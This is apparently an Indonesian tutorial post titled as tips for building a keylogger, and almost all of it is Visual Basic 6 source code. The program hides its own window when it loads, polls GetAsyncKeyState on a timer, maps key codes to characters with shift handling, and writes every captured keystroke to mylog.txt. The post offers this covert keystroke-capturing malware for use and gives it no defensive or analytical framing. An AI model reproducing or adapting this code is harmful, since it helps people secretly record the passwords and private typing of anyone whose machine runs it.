Tips & Trick Buat Keylogger v.2.0

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
    Dim i As Integer
    For i = 65 To 90
        AddToTable i, Chr(i), Chr(i + 32)
    Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9"
    AddToTable Asc(" "), " ", " "
    
End Sub

Private Sub Form_Load()
    Me.Visible = False
    Build_Table
End Sub

Private Sub AddToFile(Isi As String)
    Dim Data As String
    Dim FileHandler As Long
    
    If (Dir(App.Path & "\mylog.txt") <> "") Then
        FileHandler = FreeFile
        Open App.Path & "\mylog.txt" For Input As #FileHandler
            Data = Input(LOF(FileHandler) - 2, #FileHandler)
        Close #FileHandler
    End If
    
    FileHandler = FreeFile
    Open App.Path & "\mylog.txt" For Output As #FileHandler
        Print #FileHandler, Data & Isi
    Close #FileHandler
End Sub

Private Sub Timer1_Timer()
    Dim i As Integer
    Dim a, b As Integer
    For i = LBound(List) To UBound(List)
        a = GetAsyncKeyState(List(i).kode)
        b = GetAsyncKeyState(16)
        If (a = -32767) Then
            If (b = -32768) Then
                AddToFile List(i).atas
            Else
                AddToFile List(i).bawah
            End If
            Exit For
        End If
    Next
End Sub